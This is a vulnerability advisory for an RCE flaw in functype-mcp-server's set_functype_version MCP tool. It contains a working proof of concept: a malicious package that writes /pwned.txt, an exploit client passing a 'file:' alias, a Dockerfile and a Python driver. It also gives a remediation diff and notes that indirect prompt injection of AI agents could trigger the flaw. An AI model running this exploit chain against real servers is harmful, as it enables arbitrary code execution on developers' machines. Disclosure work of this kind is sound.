CVE-2026-59176

functype-mcp-server: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import

MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import

Summary

The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).

Details

The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).

Source (user input accepted without validation):

// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
  version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),

Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.

Sink 1 — arbitrary package installation:

// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
  const spec = functype@${args.version}
  try {
    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.

Sink 2 — dynamic import executes installed package code:

// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
  const resolvedPath = require.resolve("functype/cli")
  cli = await import(${pathToFileURL(resolvedPath).href}?t=${Date.now()})
}

initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.

Data flow summary:

• index.ts:115 — MCP tool set_functype_version registered, no auth required.
• index.ts:119-121 — version accepted as raw z.string() (source).
• index.ts:123 — functype@${args.version} constructed without sanitization.
• index.ts:125 — execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install).
• index.ts:134 — initDocsData(true) called immediately.
• data.ts:29-30 — require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).

PoC

Step 1 — Prepare the attacker-controlled evil package:

mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF

Step 2 — Clone and build the victim monorepo at the affected version:

TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build

Step 3 — Set up an MCP client to deliver the exploit:

cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
  command: "node",
  args: [${process.env.REPO}/packages/mcp-server/dist/bin.js],
  env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});
await client.connect(transport);
const result = await client.callTool({
  name: "set_functype_version",
  arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF
REPO="$TMP/functype" node exploit.mjs

Step 4 — Verify arbitrary code execution:

cat /pwned.txt
Expected output: RCE: mcp import-time code execution via set_functype_version

Dynamic reproduction (Docker):

The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.

[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import

Recommended remediation:

+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+  const trimmed = version.trim()
+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}
 execute: async (args) => {
const spec = functype@${args.version}
+  if (!isSafeFunctypeVersion(args.version)) {
+    return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+  }
+  const spec = functype@${args.version}
   try {
execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+    execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

Impact

This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.

Who is impacted:

• Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration.
• Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a set_functype_version call with a file: or npm: alias payload.
• In non-default TRANSPORT_TYPE=httpStream deployments, network-accessible attackers can exploit this without local access.

The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
#
Build context: reports/npmAI_684_jordanburke__functype/
  COPY repo/       -> /workspace/functype/   (victim monorepo)
  COPY vuln-001/   -> supporting PoC files
#
Build:  docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
Run:    docker run --rm vuln001-functype-rce
#
Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
FROM node:24-slim
Install pnpm matching the repo's packageManager field ([email protected]).
RUN npm install -g [email protected] --quiet
── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./
Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
caused by running on a different pnpm minor than the one that generated the
lockfile; the installed versions are still constrained by the lockfile
specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile
Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build
Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build
── Attacker-controlled evil package ─────────────────────────────────────────
/evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/
── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet && \
    npm pkg set type=module && \
    npm install @modelcontextprotocol/[email protected] --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs
Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
Attack chain:
Attacker calls MCP tool set_functype_version with version="file:/evil"
Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
Evil package is installed as the functype alias in mcp-server's node_modules
Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
/evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
Usage:
  python3 poc.py [--build-only]
Requirements:
Docker daemon running
Build context at parent directory of this file's directory
"""
import subprocess
import sys
import json
import os
import argparse
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
REPORT_DIR = os.path.dirname(VULN_DIR)
IMAGE_NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")
BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]
def run(cmd, timeout=None, **kwargs):
    """Run a command and return CompletedProcess with combined output."""
    return subprocess.run(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        timeout=timeout,
        **kwargs,
    )
def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {os.path.basename(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
    }
    with open(RESULT_FILE, "w", encoding="utf-8") as f:
        json.dump(result, f, indent=2, ensure_ascii=False)
    print(f"[poc] Result written to {RESULT_FILE}")
    print(f"[poc] verdict={verdict}  passed={passed}")
def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
    parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
    args = parser.parse_args()
    # ── Build ─────────────────────────────────────────────────────────────────
    print("[poc] Building Docker image (this may take a few minutes)...")
    print(f"[poc] Build command: {' '.join(BUILD_CMD)}")
    try:
        build = run(BUILD_CMD, timeout=900)
    except subprocess.TimeoutExpired:
        msg = "Docker build timed out after 900 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
        sys.exit(2)
    if build.returncode != 0:
        tail = (build.stdout + "\n" + build.stderr)[-3000:]
        print("[poc] Build FAILED:")
        print(tail)
        write_result(
            False,
            "FAIL",
            "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
            f"BUILD EXIT {build.returncode}\n{tail}",
        )
        sys.exit(1)
    print("[poc] Build succeeded.")
    if args.build_only:
        print("[poc] --build-only flag set; skipping run.")
        sys.exit(0)
    # ── Run ───────────────────────────────────────────────────────────────────
    print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")
    try:
        run_result = run(RUN_CMD, timeout=180)
    except subprocess.TimeoutExpired:
        msg = "Container run timed out after 180 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
        sys.exit(2)
    stdout = run_result.stdout or ""
    stderr = run_result.stderr or ""
    combined = stdout + "\n" + stderr
    print("=" * 60)
    print("STDOUT:")
    print(stdout)
    print("STDERR:")
    print(stderr)
    print(f"EXIT CODE: {run_result.returncode}")
    print("=" * 60)
    # Success criteria: exit 0 AND exploit succeeded message present
    exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
    passed = run_result.returncode == 0 and exploit_succeeded
    if passed:
        # Extract key evidence lines
        evidence_lines = [
            line for line in combined.splitlines()
            if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
        ]
        evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]
        write_result(
            True,
            "PASS",
            (
                "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
                'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
                "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
            ),
            evidence,
        )
        print("[poc] === PASS: exploit reproduced ===")
        sys.exit(0)
    else:
        # Distinguish failure modes
        if not exploit_succeeded and run_result.returncode == 0:
            verdict = "INCOMPLETE"
            reason = (
                "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
                "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
                "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
            )
        else:
            verdict = "FAIL"
            reason = (
                f"컨테이너 종료 코드 {run_result.returncode}. "
                "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
            )
        write_result(False, verdict, reason, combined[-2000:])
        print(f"[poc] === {verdict}: exploit did not reproduce ===")
        sys.exit(1)
if __name__ == "__main__":
    main()